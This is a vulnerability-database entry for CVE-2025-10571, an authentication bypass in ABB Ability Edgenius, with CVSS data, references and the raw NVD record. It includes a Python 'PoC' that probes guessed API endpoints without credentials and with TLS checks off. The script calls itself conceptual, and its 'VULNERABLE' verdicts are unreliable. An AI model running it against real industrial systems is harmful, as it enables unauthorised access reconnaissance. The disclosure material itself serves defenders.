CVE-2025-10571

Description

Authentication Bypass Using an Alternate Path or Channel vulnerability in ABB ABB Ability Edgenius.This issue affects ABB Ability Edgenius: 3.2.0.0, 3.2.1.1.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ABB Ability Edgenius 3.2.0.0

ABB Ability Edgenius 3.2.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-10571 PoC - ABB Ability Edgenius Authentication Bypass
# Note: This is a conceptual PoC for educational and security research purposes only

import requests
import sys

def check_vulnerability(target_url):
    """
    Check if the target ABB Ability Edgenius is vulnerable to CVE-2025-10571
    """
    # Common endpoints that might be affected
    endpoints = [
        '/api/system/status',
        '/api/config/backup',
        '/api/admin/users',
        '/api/v2/edges',
        '/management/sessions'
    ]
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (compatible; SecurityScanner/1.0)',
        'X-Requested-With': 'XMLHttpRequest'
    }
    
    print(f"[*] Testing target: {target_url}")
    print(f"[*] CVE-2025-10571 - Authentication Bypass in ABB Ability Edgenius\n")
    
    for endpoint in endpoints:
        url = target_url.rstrip('/') + endpoint
        try:
            # Send request without authentication
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            
            if response.status_code == 200:
                print(f"[+] VULNERABLE: {endpoint}")
                print(f"    Status: {response.status_code}")
                print(f"    Response length: {len(response.text)} bytes")
                
                # Check for sensitive data exposure
                if 'password' in response.text.lower() or 'secret' in response.text.lower():
                    print(f"    [!] WARNING: Potential sensitive data exposed!")
            elif response.status_code == 401:
                print(f"[-] Protected: {endpoint} (401 Unauthorized)")
            else:
                print(f"[?] Unexpected: {endpoint} ({response.status_code})")
                
        except requests.exceptions.RequestException as e:
            print(f"[!] Error testing {endpoint}: {str(e)}")
    
    print("\n[*] Scan complete. If vulnerabilities found, report to vendor immediately.")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-10571_poc.py <target_url>")
        print("Example: python cve-2025-10571_poc.py https://192.168.1.100")
        sys.exit(1)
    
    target = sys.argv[1]
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-10571
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-10571
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-10571/
[4] VulDB https://vuldb.com/cve/CVE-2025-10571
[5] https://search.abb.com/library/Download.aspx?DocumentID=7PAA022088&LanguageCode=en&DocumentPartId=&Action=Launch

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-10571", "sourceIdentifier": "[email protected]", "published": "2025-11-20T19:16:11.527", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in ABB ABB Ability Edgenius.This issue affects ABB Ability Edgenius: 3.2.0.0, 3.2.1.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=7PAA022088&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}